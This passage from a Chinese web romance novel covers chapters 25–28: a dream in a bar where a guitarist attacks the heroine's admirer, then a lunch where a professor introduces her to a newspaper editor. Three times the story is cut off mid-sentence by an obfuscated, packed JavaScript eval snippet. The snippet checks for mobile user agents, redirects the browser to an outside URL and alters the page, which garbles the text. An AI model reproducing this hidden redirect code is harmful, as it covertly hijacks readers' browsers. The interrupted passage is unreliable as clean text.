就在他现在站立的地方,她刚刚蹲坐着、蜷缩着,像是被夜色包裹的一只猫咪,安静乖巧。被他发出的声音惊吓到全身都僵硬,有些呆地缓缓抬头望他,窗外的霓虹灯透过玻璃窗在她身上流转,眸光中含着水色,晶莹水润,唇瓣紧抿,眉头不自觉地蹙着,带着一丝倔强之意。 只是,搞音乐的,对一切声音都很敏感,包括寂静空间中男女唇齿缠绵的声音。 声音的冲击压过了画面,他觉得心烦,转身向一侧更暗处走去,这里有一个垃圾桶,他将烟按灭。 转身离开。 25. 第 25 章 酒吧里灯光昏黄,仿佛笼罩着一层薄纱,空气中弥漫着淡淡的木质香和酒精的气息,刺激着燕舒的嗅觉。 她又入梦了。 今天的地点很新鲜,酒吧。 是因为和纪佳时喝酒的原因吗? 酒吧的装潢简约而复古,深色的木质桌椅和裸露的砖墙相映成趣,天花板上悬挂着几盏低垂的铜质吊灯,灯光柔和而温暖,燕舒的手撑在桌面,灯光洒在冰凉的桌面,映出一片昏黄的光晕。吧台后的酒驾上,各色酒瓶在灯光下泛着幽幽的光,燕舒拿起面前的酒杯,杯中酒水已经被喝了一半,她摇晃酒杯,已经融化了一般的冰块再次碰撞,发出轻微的叮咛声。 握着酒杯,手指轻轻摩挲着杯沿,她的视线扫过四周,酒吧空间不大,但此刻,只有三人。 她、纪佳时和座位正对面乐队舞台上的男人。 男人她认识,是今天现实中刚见过的吉他手,他的气质很独特,相比于是一个乐队的吉他手,燕舒觉得他更像一个艺术家。 艺术家总是有一种悖逆世俗的气质,但这种气质和他外表干系不大,更多的是他流露出的感觉。他站在黑暗和微光之中,手指夹着烟,低头看她,似乎很不好惹,但说话的语气又很平淡。感觉如果下一次再撞见这种事,他会站在两人旁边,从容镇定地点燃那支烟,边抽边用审视的眼光打量。 他出现在她的梦里,燕舒虽然有些讶异,但并不觉得奇怪,因为她梦里见过的不只有纪佳时、陆寻春几人,梦境除了挑选这几名常客之外还会选择邀请一些她刚刚见过的人。比如同时梦见纪佳时和陆寻春的咖啡馆中,还坐着四个女孩子,她现实帮助了她们,所以梦里她们帮她教训了陆寻春和纪佳时两人。比如现实中没有见纪佳时等人,但依旧入梦,因为现实中看了李梦音分手全过程,梦里对方则跪在李梦音面前求复合。 梦境的触发并不是只需要纪佳时等人,更重要的是现实中刚刚发生过且触动过她的事。 只不过,纪佳时等人算是梦境的固定选项,而其他人则是因现实波动而入梦的其他项。 虽然理清了思绪也说服了自己,但燕舒依旧有股怪异感,因为梦境中的人都是“有事做”的,他们是梦中剧情的主要人物,他们身上是有人物设定和剧情安排的。现在,燕舒已经很熟悉梦境的趣味了,她不觉得对方只是梦境安排给她弹奏唱歌的。 酒吧少了一个吉他手又会怎样? 反正梦里都是合理的。 男人坐在舞台中央的高脚椅上,在和燕舒相互对视许久后,微微低下头,修长的手指轻轻波动琴弦,吉他的音色温暖而低沉,像是大提琴般浑厚,带着一种深沉的共鸣。他开口,低沉而有磁性,带着一股沙哑的质感,仿佛从心底深处流淌出来一般。 最开始,燕舒以为他不适合唱歌,因为他在乐队里的定位是吉他手而不是主唱。但他开口解释时,她听见了他的声音,就知道她一开始的想法是错的。 现在,梦中,她听见他唱歌,是一首英文歌,《All of Me》。 "All of me,loves all you…" (“全部的我,爱着全部的你……”) "Love your curves and all your edges,all your perfect imperfections…" (“爱你的曲线和棱角,爱你所有的完美与不完美……”) 音乐是世界上最简单也最神秘复杂的‘语言’,音符没有文字,但流淌得那么直白,带着音乐人的情感。之后,歌词出现,但对情感的表达不过是全部的百分之几。类似于“冰山理论”,作品中的文字和表面情节只是冰山露出水面的一部分了,剩下的隐藏在冰山之后。 言已尽,意无穷。 音乐动人,氛围正好,燕舒转动转椅,将上半身斜靠在纪佳时身上,头枕在他胸膛,手中酒杯轻晃,琥珀色的液体在杯中缓缓旋转,她抬手,小口喝,冰凉的酒液入喉。 燕舒没有什么艺术细胞,但不代表她不会欣赏音乐欣赏美。 对方唱歌时实在太有魅力了,她被他吸引了,在梦里。 那怕身边有纪佳时,可燕舒也不想隐藏什么,她只想在梦里安安静静地享受音乐,让脑袋空白,不做任何思考,安心地放松。 她的目光紧紧锁定在他身上,仿佛被他的声音和姿态吸引,无法移开视线。舞台上的灯光柔和地洒在他的身上,勾勒出他侧脸的轮廓,阴影在他深邃的眼窝和挺拔的鼻梁间交错,显得格外沉静而神秘,充满艺术家的气息,想让人探寻却又明确地亮起危险示警的红灯。 他的视线停留在她身上,并不是紧紧锁定她,而是在她身上移动,在灯光闪烁中,燕舒恍惚感觉他皱起了眉头,眼神变得冷漠又凶狠,像一头在磨爪子准备捕猎的饿虎。 “学姐。”纪佳时的声音在她耳畔响起。 她靠在他身上,两人相互依偎着,此刻他低着头,贴近燕舒低声耳语。但他并不是完全侧身的,他的眼睛盯着台上的男人,露出挑衅。 “嗯?”燕舒收回视线,微微仰头与纪佳时对视。 刚刚只简单扫视,且心神被舞台上的男人吸引,有些忽视他了,现在对视,燕舒才发现纪佳时状态似乎有些不太好。 有些憔悴,昏黄的灯光洒在他凌乱的头发和苍白的脸上,映出一层淡淡的阴影。他凝望着燕舒,那么认真,但眼神中透出一股悲伤与空洞,少年人身体坐在这里,但似乎灵魂的力量被分割走了。他的衬衫皱巴巴的,领口松开了两颗扣子,露出锁骨和脖颈间若隐若现的青筋。袖口上还沾着几滴酒渍,像是他试图用酒精麻痹自己时不小心洒落的痕迹。他的下巴上冒出了细密短促的胡茬,显得人十分颓废。 燕舒感到有些不对。 但她还没来得及问,便听纪佳时开口,声音沙哑,“学姐,你醉了吗?” 啊? 燕舒摇头,她没醉,但纪佳时应该是醉了。 她斜眼看见,他桌上摆着几杯酒,都见了低。 见她摇头,纪佳时嘴角微勾,但笑意不达眼底,“我没醉。” “一般醉酒的人总喜欢说我没醉。”燕舒说得很认真。 “真的吗?”纪佳时问。 他问得也很认真。 燕舒笑了,她觉得很有趣,她第一次做梦在梦里见纪佳时就是因为自己醉酒许下了心愿,且发酒疯遇见了纪佳时。 她似乎还没问过纪佳时遇见她醉酒时心里想什么,现实中大家都很克制。想互相靠近却带着虚假的礼貌面具。于是,燕舒问:“纪佳时,你第一次遇见我,撞见我醉酒耍酒疯,当时什么感觉?” 她有些好奇。 纪佳时看着她,眼中眸光微闪,“我第一次见你,也是你第一次见我。不是你醉酒那晚。” 燕舒瞪大眼睛,心中很震惊。 她想起身,但纪佳时的手握住她的手,连她刚刚手上拿着的酒杯都拿走,她的双手按在他的胸上,只和他拉开了一点距离,没有摘将头靠在他的胸膛上。 人总是对第一面和最后一面记忆深刻,所以燕舒记得和纪佳时的一次见面,但她并不认为那是两人认识的初始,因为她并不觉得那一面对方会记得她。 但他记得。 燕舒感到一种难以言喻的情绪在心底蔓延,她看着纪佳时,一时有些无言。 纪佳时则继续说着,他面上笑着,似乎回忆勾动了情绪,“至于你醉酒,我觉得很可爱,印象最深刻的就是你当时对我告白,虽然是你因醉酒闹出的笑话……” “但学姐,你知道吗?我每次回忆都在想,如果我当初答应就好了,我赖上你,就不至于我现在这么痛苦。”纪佳时握着燕舒的手用力,身体也前倾凑近,说到“痛苦”二字时,他皱起了面容,似乎此时真的因为受伤而疼痛难忍。 燕舒懵了。 这又是什么剧情? 纪佳时松开燕舒的手,双手捧住她的脸,轻声道:“学姐,我醉了。” 说完这句话,他低头朝燕舒吻来。 对于纪佳时的亲吻,燕舒并不陌生,也不抗拒,她虽然没搞懂剧情发展,但现实中刚刚吻过,梦中再吻,也不是不行,并且,他刚刚说的话触动了她的心弦。 他的话再次为他的真心押注,赢得了燕舒的一分信任。 舞台上的音乐突然停了,停在了高潮,没了音乐声,整个酒吧陷入了寂静。但燕舒没有注意,此刻她的所有注意力都被面前的人吸引,他低头要吻她,她轻轻抬头,许可了这个吻。 突然,急促的脚步声在寂静的空间响起,快速又有节奏,一声声踩在燕舒的心上。不需要什么前情提要,只要神经稍有敏感性,就会懂得这种急促步调带来的危机感。 燕舒下意识偏头朝脚步声传来的方向看去,就三个人的酒吧,是谁的脚步声不言而喻。可她的后脑勺被纪佳时捧住,身体被他环在怀中,只能微微侧头。但还没抬头,就察觉一道阴影落在她身上。 男人站在两人面前。 危险的预警,极强的压迫感。 燕舒察觉,纪佳时也没动作了。 “你在做什么?”男人问。 他的声音蕴含着怒火。 很奇怪的质问,燕舒抬头,发现他一双冷眸寒意凛冽,面无表情盯着纪佳时。 在燕舒的梦里,出现过现实中只见过一次但在梦中成了主要剧情任务的人,那人叫白榆,并且是纪佳时的室友,不过也是因为只见过一次,燕舒很容易忘记这人。但此刻,她想起来了。 他们的情况,很像。但她不觉得是他们见了她一面就喜欢上她了,只是拉入梦境罢了。 “做什么?”纪佳时也沉下脸色,然后勾唇笑,“我只是在挽回我的女朋友。” “可她现在是我的女朋友。” “嗯,所以呢?” 被人俯视的感觉很不好,何况俯视他的人是他的情敌,纪佳时松开燕舒站起身和对方对视,“你有什么资格质问我?封秋扬,你真够不要脸。” 念出对方的名字,纪佳时都感觉自己受到了污染,心中既恶心又愤怒。 喜欢燕舒的人有很多,想撬墙角的人也很多,但能够恶心纪佳时人则少之又少,这个人没有道德没有廉耻,心极脏极恶。 详细一点的解释就是,一群人想登山顶争夺第一,封秋扬会在起点就铲除所有竞争对手。 在燕舒还是纪佳时的女友时,封秋扬对其进行了精神打压。他的所有行为都逻辑自洽,勾引燕舒说是带她打破世俗束缚,前往一段新的旅程,而纪佳时则是束缚燕舒的没有思想、没有自我的娇夫,一个毫无灵魂意趣的短暂‘□□乐’,他们新旅程的绊脚石。 纪佳时之所以能中计是因为爱人时总会产生自卑感,且燕舒身边的人并不少,他患得患失,最终导致和燕舒在数次争吵后彻底结束关系。 于是清醒后纪佳时发疯了。 他要抢回燕舒,没有任何心理负担地去争抢。 杀人者人恒杀之。 既然封秋扬做了这件事,他纪佳时也可以同样做回去。 “你配不上燕舒。”虽然因为刚刚的画面生气,但封秋扬对于这件事很是笃定,语气平淡到像是在定棺盖论。他看不起纪佳时,因为男生年轻又愚蠢,如果不是时机刚好对,如果不是燕舒善良,怎么会拥有“男朋友”这个身份。 他视线平移,看向纪佳时身旁的燕舒,伸出手,“燕舒。” 燕舒没动,她的视线在两人之间巡游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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却只见,封秋扬歪了歪头,然后猛地举起手上的吉他朝纪佳时砸去。这一瞬间,纪佳时意识到,从一开始,封秋扬就握着吉他,然后他的反应太快了,整个动作流程太顺畅了。 纪佳时后退侧身想躲避,但……失败了。 这个疯子…… 脑袋好痛,纪佳时抬手摸了摸头,灯光下,血液暗红,他抬眸看向燕舒,见她也怔怔地望着他。 好丢脸…… 再一眨眼,封秋扬遮挡住他看向燕舒的视线。 思维越来越慢了,纪佳时张嘴,却发不出声,他感觉自己整个人失去了平衡,眼前逐渐天旋地转,直至彻底黑暗。 “蠢货。”看着地上的人,封秋扬将吉他立在地上,轻哼了一声。 他很愉悦,哪怕他读出了刚刚对方骂他的话。 贱人。 他不在意,胜利者总是有着宽大仁慈的胸怀。甚至,他还会鄙视地上的人,怎么连骂人都只会几个词啊?来回反复骂,一点意思都没有。 他转身看着坐在转椅上的女生,她握着酒杯的手僵住了,望着地上的人,有些无措。 现在的状况超出了燕舒的预想之外,这和电视剧里的不一样,不应该互相有来有回地打吗?怎么纪佳时被一招打倒了?看着他满脸的血,那一瞬,燕舒真的慌了。但很快,她记起,这是梦里。 没事的。 没事的! 她稳住心神,又喝了口酒,冰得人思绪都镇定了下来。 将视线从地上的失败者身上收回,燕舒看向面前的人,心想,纪佳时都被打晕了,怎么梦境还不结束? 梦境太真实,地上的血还在流,要是现实,再不打电话给救护车,说不定人就凉了。 纪佳时真的没事吗? “不要看他。” “看我。” 男人凝视着燕舒的眼睛,走近,他手还握着吉他。 吉他已经烂了。 “你……”看着他,燕舒不知道说些什么了。 她的感觉对了,这是个很危险的人。但反差也太大了,他刚刚唱歌时她又确实被他吸引了。 现在,她有些怵他。 男人再上前一步,两人之间已经没有距离,他松开吉他,琴身重重地落地发出砰的一声沉闷的声响,像是打破了一层无形的屏障。 他俯身环住燕舒的腰身,另一手扣住她的后脖颈,道:“我赢了。” 赢家该有奖励。虽然她没有说,可他可以索求。 他的手掌温热而有力,毕竟刚刚轻而易举地举起了吉他打倒了一个人。燕舒呼吸一滞,身体后仰贴近了身后的桌子。 “燕舒。”他又喊她的名字。 语调轻柔缠绵。 明明只是两个字,偏偏他喊完她还觉得有勾子在她心上晃,像是一片羽毛轻柔地拂过她的手掌。 痒痒的。 “嗯。” “我爱你。” 燕舒怔愣。 他贴近,喉结滚动,微眯着眼,视线落在她的唇上。 “我赢了。”他再次重复。 “嗯。” 燕舒听懂了他的意思,可她和他不熟。虽然他长得帅,唱歌时特别有魅力,但她不想吻他。 “你松开我。” 他缓缓起身,眼里溢出笑意,他在等待她的奖励。 燕舒坐直身体,看着面前的男人,他站立着,她要仰头看他才行。 燕舒视线落在自己右手的酒杯上,里面的酒还没喝完。 “你太高了。” 他微微俯身。 “还是太高。” 他单膝跪地,仰头看她。 乖巧听话得不可思议。 但是有些凶,就算当狗,也很难对他放下戒心。 太凶看起来会噬主。 “张嘴。” 燕舒转动手腕,酒杯摇晃,酒液从高处流出,他伸出舌头努力吞咽,可酒液在滴落过程中流出,顺着他的下巴流到脖颈,然后打湿领口。 酒倒完,他舔了舔唇,拉住燕舒的手,“不够。” 远远不够。 他想要的更多。 26. 第 26 章 纪佳时感冒了,虽然依旧可以正常的起床上课,但嗓子哑了,鼻子也堵了。 燕舒看到这个消息时,心里毫无波澜,因为昨天回校的路上,她就劝过纪佳时把衣服披上,他自己不听。 总之,昨天晚上,燕舒走在路上,带着围巾,全身严丝合缝,除了脸必须得面对冷风的侵袭,连脚底板都因为走路走热了。但纪佳时的双手冰凉,来时他暖她的手,去时则反了过来。 最近流感严重,他又不爱惜自己身体地作,感冒很正常。 选了个表情包发送。 【[摸摸]】 【去校医室拿药了吗?】 收到燕舒的消息时刚好第一节课结束,纪佳时走出教室,走到走廊的最右边,踏出门,外边是两栋教学楼之间的平台通道,今天的教室刚好在最高层,所以这边是无遮挡的天台。 蓝天白云,春光明媚。 他走到角落,回复:【我寝室里储备药箱,今天一醒来就喝了药。】 这句话发出,他就有些后悔。 虽然没有谈过恋爱,但稍微有点智商和情商都应该悟出一点面对喜欢的人时进行暧昧推拉的方法。 再死板的人,一旦进入恋爱状态,嘴角也会漾出微笑的弧度,也会学会如何僵硬地进行圆滑。笨蛋也会冒出傻气的聪明火花。 纪佳时在网上搜过“如何让你喜欢的女孩也喜欢你”,虽然网页上塔罗占卜的广告比较多,但他也看到了一些真有用的方法,最让他记忆深刻的是一段话,“变成猫,变成老虎,变成被雨淋湿的狗狗。” 帖主为了强调这句话,甚至还用图片标红了另一句话:“真正赢得女人芳心的至高箴言。” 变成猫,这是勾引的第一阶段,意思是要变得像猫一样可爱、温柔、讨人喜欢,但有适当显露一点傲娇和不可掌控,这样才不会让对方失去新鲜感。 猫奴就是在这种节奏中逐渐沦陷的。 昨天,她想吻他,他一开始拒绝了,但后面他又同意了,如此反复无常,就是像猫一样推拉勾引、欲擒故纵。变成猫,他想他成功了。 至于变成老虎,则是恋人一旦拥有对方,两人都会变得像老虎一样充满掌控欲。 第二步,他好像失败了。因为,燕舒没有和他成为恋人。他没有发作掌控欲和占有欲的资格。甚至,这样反推,那么他第一步似乎也失败了,他勾引了,但并没有收到恋人身份的邀请。 纪佳时告诉自己要耐心,他们还需要时间。 那么,现在跳过第二步,直接变成被雨淋湿的狗狗,虽然这句话本意是写恋爱关系中由于爱情的脆弱与真实而给人带来的阵痛,像雨淋湿的狗狗,既可怜又因摇晃着尾巴而变得可爱。 现在,纪佳时决定将自己变成抽象意义上“被雨淋湿的狗狗”,面对喜欢的人展示自己的脆弱与痛楚,虽然只是一个简单的感冒,但他还是可以装可怜引起她的怜悯心。 已经两分钟过去了,他还没有等到她的回复。 纪佳时面容平静地环视了一圈周围,没有人。 他咳了一声,点开语音,开口:“学姐,我还是有些难受。” 语音发送成功,纪佳时点击收听,嗯,语调平淡但透露着一股虚弱感。这个效果,他很满意。再虚弱一点就装过了,太假、太扭捏,而且会让人他身体是不是太虚了,有损形象。 ——叮铃铃! 上课了。 没有等到回复。 他握住手机,转身回教室。 …… 手机震动,屏幕亮起,燕舒看了眼,没管。 直到坐进车里,她才反应过来刚刚发生了什么事。 今天有面试,刚出校门,就有一亮黑色迪奥停在燕舒面前,车窗落下,莫教授的脸出现在她面前。这辆车是从学校开出的,里面坐着另一个燕舒熟悉的人,周荣芳教授,周教授见到燕舒很惊喜,问为什么这些天没见到她了。 燕舒说自己崴了脚。 于是,周教授询问燕舒要去哪,他们载她一截。 尽管燕舒说自己已经好了,但在周教授的反复邀请和莫沅教授的帮腔点头下,最终坐上了车。 报出地名,坐在前方开车的男人挑眉,“我们今天聚餐的地方就在附近。” “还挺巧。” 燕舒端坐在周教授身旁,没吭声。 “对了?小莫,你认识小舒?”周教授问。 小莫?小舒? 听周教授这样称呼,燕舒觉得有些怪怪的,一下子把她和莫教授因为的身份的距离感消灭了,还让她有些想笑。 前方,莫沅抬眸从后视镜看见坐在后面的女生脸上的表情,一双眼睛亮晶晶的,眼珠子乱转,嘴角微勾,想笑又强忍,古灵精怪的。 怪可爱。 “认识呀。” “我学生。” “我选修了莫教授的国际经济。”燕舒补充道。 “看来小莫对你挺满意,一般学生的姓名他可记不住。”周教授道。 燕舒有些不知道说些什么,一般来说应该得体地应下这句话,然后说几句谦虚的话。但燕舒说不出,没有地理优势,人际关系时语言的运用是门大课,她此时不过刚刚入门。何况,她听见周教授说起她和莫教授的关系,她就心虚,想到了之前做过的梦。 所幸,莫沅是个十分得体的人,他玩笑反驳,“师母,你这话说的,我的记忆力,见一面叫一次名字,下次就能准确认出人了。她上过我几堂课了,我还叫不出她的名字,岂不是寒了一个乖学生的心。” “哈哈哈。”周教授笑了。 “再说了,燕舒同学不仅是我学生,还是我陵隆老乡加高中学妹,再不认识就不礼貌了。” “那你们俩还挺有缘。一个学校里,有这种关系的不少,难就难在认识且聊到。” “那确实。” “小舒,你觉得你们莫教授上课怎么样?严不严?”不知道是不是因为燕舒在车里太沉默,周教授主动将话头递给了她。 燕舒勾起笑容,连忙摇头,“没有没有,我觉得莫教授一点都不严厉,反而很风趣幽默,讲课讲得特别好!” 此时刚好是红灯的等待时间,莫沅听着女生的夸奖,不由自主地转头望她。她的语气特别真诚,和他对视时眼睛瞪大似乎在证明自己的诚意。 但莫沅不信。 她有些怕他,他知道,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“燕舒,我邀请你,你不来吗?他们这一群人最年轻的就是你莫教授了,这次你来,让真正的年轻人降低我们的平均年龄,挺好的。”周教授拉住燕舒的手。 “周女士,什么叫真正的年轻人,我还正年轻好不好?” 周教授没理,她凑近燕舒,瞄了眼莫沅,小声道:“你先去面试,等会吃饭,给你介绍其他人……” “年轻人,要懂得抓住机遇。” 她是喜欢燕舒,但今天这一切都是偶然,一切刚刚好,所以莫沅提及后她也答应,因为她愿意帮她。一切水到渠成,只差她这边打开通道的开关,何乐而不为? 她愿意帮助这个讨她喜欢的年轻人。 聪明、乖巧、认真、诚实,带着一个还未出入社会的学生的清澈干净,不过顺手而为的帮助,又能怎样? 其实,机遇抓不抓的住还看个人的实力。但周教授看了燕舒的简历,心想,挺不错的孩子。 27. 第 27 章 阳光在车窗上流淌成蜜,车载香薰的柑橘气息里浮动着细碎金尘,系上安全带,燕舒侧头看向身旁的莫教授,此时他正侧头好整以暇地看着她,眉眼弯弯,笑意从眼中溢出来,像是看到了什么趣事。 “怎么了?”或许是因为等会要参加一个陌生的饭局而紧张,也或许是因为此时车内就她和莫沅两个人,燕舒双手握住安全带,眼神飘忽。 “驾照考了吗?” 这问题问得太突然,也没有前因后果,燕舒愣了一下,然后回答:“考了,高中毕业的暑假考的。” “考了几次?” 虽然不知道莫沅问这没营养的问题意义在哪,但是本着尊重老师的思想,燕舒还是乖巧回复:“一次过。” “厉害!”莫教授伸出手朝燕舒竖起大拇指。 莫教授课上课下给人的反差很大,上课是严肃认真中透着点森寒气的冷幽默,下课后则变得活泼有趣,平易近人。 现在,他正在对燕舒显出搞怪跳跃的一面,“我记得我考驾照,挂了一次科二。” “但你现在别怕,别紧张、” “我没紧张。”燕舒反驳。 “那你死死抓着安全带干嘛?”他挑眉,眼神示意。 燕舒低头,然后松开抓着安全带的手,讪讪转头看向莫教授,道:“我不紧张、” “我不是因为你开车紧张。” “我……周教授的生日宴……” 莫沅打断她,“不是生日宴,只是几个学生和老师的聚餐。” 周教授和她丈夫蒋齐盛没有孩子,几个亲近的学生便承担着儿女的责任。因为莫沅和蒋教授同在C大教书,近几年,他经常去看望两位老人,关系越来越亲,今年的周教授生日也是他一手操办,在学校附近的商圈找了好几家中餐馆,然后从中选了一家,预定包厢,然后给熟悉的一圈人打电话问他们有没有时间。 其实最开始,周教授就想在家自己做一桌饭的,但考虑到人数和一些其他安排问题,莫沅建议中午外面吃,忙的人吃完午饭就离开,时间比较空闲的人则再陪着两位老师回学校教师宿舍聊天、吃晚饭,晚饭简单做就行。 “周教授的生日,我还没来得及买礼物。”燕舒道。 莫沅的手握住方向盘,开始发动车子,“周女士不在乎这些东西。” “聚餐的人不多,除了你我和周女士、我老师,剩下的10人都是他们的学生,你礼貌打招呼就好,因为其实有些人我也不太熟。我重点给你介绍认识的是一个学姐,我的学姐,她现在在《金融正报》里任主编。” “当然,我只是推荐一下,如果你和她谈了,但互相都不是……如果你有更好的选择,请选择更好的。” 不会再有比《金融正报》更适合燕舒的实习跳板了,国内第一的金融财经报纸,不仅在纸媒领域稳居金融类报刊的榜首,更踩在了时代的转折点上,随着互联网浪潮的兴起,《金融正报》也顺势而为,继续巩固其在行业内的领先地位。并且,它的公司地址就在C市,燕舒早在准备投简历时就主动搜过《金融正报》的招聘信息,如果她能在《金融正报》实习,那么她甚至可以做好长期必修课请假的准备,只可惜,对方并不招人。 没有想到,峰回路转,这个机会又出现在她眼前。 窗外街景飞逝,道路两旁树木新抽的嫩芽在风中摇曳,燕舒觉得此刻自己的心也像枝叶一样上下飘浮。 老实说,因为梦境,燕舒在现实中见到莫教授总觉得有些不适应,但几次接触下来,她认为自己纯粹因为梦境而想多了,因为莫教授没有表现出任何喜欢她的行为。 她有些太自恋了。 现在也一样,莫教授越对她好,表现得越自然得体,就显得燕舒的那些想法特别幼稚可笑。 “莫教授,谢谢你。”燕舒小声又坚定道。 车里没开音乐,只有空调出风口发出的细微声响,所以女生的声音在安静又狭小的空间内显得那么响亮。莫沅握着方向盘,依旧目视前方,只回道:“燕舒,感谢自己的优秀吧。” 聚餐地点在一个既靠近热闹商圈的科技城区却又刚好处于江边公园处的一个小院子,叫做人间至味是清欢的私房菜馆。建筑风格为传统的中式古典,环境雅致私密,有专门的人在前面领路将两人带去包间。 莫沅定的包间叫“风雅居”,推开门,里面已经坐了一些人,他们在聊天,听见开门声,都转头望来。 燕舒面上微笑,站在莫教授身边的脚却隐秘地慢慢挪动。 “放轻松。” “坐周女士身旁。” 男人的话在她耳边轻声响起。 燕舒轻轻点了点头。 包间内依旧是中式装潢,墙上挂着国画和书法,正门的对面有雕花木窗,暖阳透过玻璃洒进包间。 “小舒来了。”莫沅率先迈步走进房间,朝周教授笑着喊道。 燕舒慢一步跟在他身后。 包间很大、圆桌也很大,但人没坐满,燕舒在心中细数,加上进来的他们,整个房间就12个人。这个人数,不算多,但考虑到是聚餐的主题是为周教授庆生,不包括燕舒,这些人就真的是周教授的“家人”了。 他们的关系,足够亲近。 “小舒,过来坐。”周教授朝燕舒招手。 燕舒看了眼莫沅,然后点头走向周教授。 “教授。” “蒋教授好。”她看见了周教授旁边的蒋教授,虽然对方不认识她,但她认识她。 “你好,小舒。”蒋教授十分和蔼。 “坐。”周教授拉住燕舒的手。 既然叫了这孩子来,要关照她,周荣芳就不会故意摆高架子,反而要护着她,不让孩子感到一点不愉快。真正慈爱的长辈都是懂得如何细致关爱晚辈的。 周荣芳虽然没有孩子、孙子,不代表她不会照顾晚辈,她爱着她的每个学生,她的一生都投入了教育事业。 燕舒坐在周教授身旁,但身边还有一个空位,莫沅隔着这个空位坐下,等了一会儿,门又被推开,一个人坐到燕舒身边,她穿着棕色大衣、带着黑框眼镜,长发被一根黑色皮筋简单绑起,一举一动都透露出浓浓的书卷气。 这是一个可以用“清扬婉约”四个字形容的气质美人。 她没有化妆,黑眼圈有些重,虽然涂了红唇但还是显得有些没有精神气、憔悴,不过她笑起来时,燕舒觉得她脸上的舒展的皱纹非常美。年岁虽然为她染上了些许风霜,但也让她更为凛冽与昂扬。其他的,不过都是描绘她的点缀。 “宋晴,来迟了哈。” “坐。” “好久没见,宋晴……” 她笑着应声,然后又与周教授和蒋教授 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127003|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒暄。 桌上的人当中,一半是周教授的学生,一半是蒋教授的学生,但大家相交这么多年,和两位老师的情谊早就不用特意分清了。但宋晴是特例,她大学的专业老师是周教授,但是之后成了蒋教授的研究生。 这些都是燕舒坐在位子上边吃边听到的。 和第一面以为的温婉美人印象不同,几句话下来,燕舒便认识到身旁这位女士的真实性格:火爆、大胆。语言尖利有锋芒,但下一句话又能化解,在人际交往中如鱼得水,燕舒很是佩服。 不过她翻看着燕舒的简历时表情又异常冷漠,微微低着头,感觉目光像激光一样扫过纸张上的每一个字,翻页声在燕舒耳边响起,心跳起伏。 突然,宋晴抬头盯着燕舒,燕舒努力顶住她的眼神,努力使自己在对方的威势下不退败。 “哈哈,别那么紧张,逗你玩呢。”宋晴笑道。 “哈哈。”燕舒也露出笑容,只不过嘴角有些僵硬。 见燕舒笑,宋晴又收了笑了,眉目平和,淡淡道:“简历不错,不过你见我似乎有些太紧张了,还是得面试后才行。” “这样吧,你下午有时间吗?我吃完饭就要回去上班了,载你一起,我做事喜欢讲究速度,咱们速战速决,也不过多浪费各自的时间。” “可以的。”燕舒回答。 午饭散场,有几人向周教授两人表达了因为时间关系所以不能晚上吃饭的遗憾,包括宋晴和燕舒两人,不过燕舒决定面完试就去商场挑选礼物送给周教授,虽然莫教授说不用买,但心意还是得表明。 嗯,给莫教授也买一个。 看着燕舒跟着宋晴往外走,莫沅对周女士示意,“我去送送。” 因为私房菜馆是小院子,所以车是停在公园外的露天停车场,几人走到一半,身后的莫沅追了上来,他先与其他人聊了聊才向燕舒两人走来。但他只扫了燕舒一眼,问:“这就走了?连晚上的饭都不吃?” “有什么好吃的?周老师他们俩人做的饭菜都一般。而且我就在C市,我要是真想回味,我自己有脚,会过去。” 莫沅无奈,抱臂,“我就不该来问。” 宋晴瞥了眼身旁乖巧站着的女生,语气平淡,“醉翁之意不在酒,得了吧,你想问的根本不是我。” “开玩笑开过头了。”莫沅语气加重。 两人之间气氛突然剑拔弩张起来,燕舒不知道这是否正常,只能努力缩小存在感。却见,宋晴拉住她的手腕,瞪视莫沅,“今天心情不好,懒得跟你打嘴炮,一顿饭处处关照,时时在意,莫沅,你要不要脸,老牛吃嫩草,你配吗?” 然后转身离开。 莫沅站在原地,看着两人离开的背影,皱起了眉,直到宋晴的车离开,他还在原地回想刚刚那句骂他的话。 他喜欢燕舒? 是,有点喜欢。但那是很纯洁的喜欢!欣赏! 而且!什么叫老牛吃嫩草? 他和燕舒的年龄差都没超过十岁! 这算什么老牛吃嫩草?只不过是年龄稍稍大了一点而已! 算了,不生气,宋晴因为最近的事,心情不好很正常,他不和她计较。 “莫沅,你站在干嘛?不走?”身后有人喊他。 “啊?哦,来了。” 老牛吃嫩草? 胡说八道。 28. 第 28 章 燕舒坐在宋晴的副驾,两人在路上有些沉默。宋晴心情不好,车里只剩她们两个人,她面上冷然,皱着眉,不再像在饭桌上放肆笑着却故意掩饰着什么。 红灯,车辆停在路口,她手机铃声响起,屏幕亮起显示出三个字的人名,她扫了一眼,转动方向盘拐进另一个路口,停车。 “抱歉,我下车接个电话。”她拿起电话,朝燕舒示意。 燕舒点头。 这绝对不是一通令人愉悦的来电,因为几分钟后,车门打开,女人半个身子探入,伸手拿过车里的烟盒,问:“抽烟吗?” “不抽”,燕舒摇头。 “不介意再等我会儿,我抽根烟,平复一下心情?” “不介意。” 车门被关上。 宋晴将车停在靠近公园的路口,路旁栽种的柳树在微风中轻轻摇曳,细长的枝叶泛出淡淡的嫩绿。今天天气不错,阳光透过枝叶的缝隙在地上洒下细碎的光影。她站在柳树下,捏住烟盒,从中抽出一根,点燃。 燕舒下车,就看见她静静地站在柳树下,手上夹着烟,口中吐出一团悠悠的烟雾,神色幽深,连燕舒走到她眼前都没反应,不知道在想些什么。 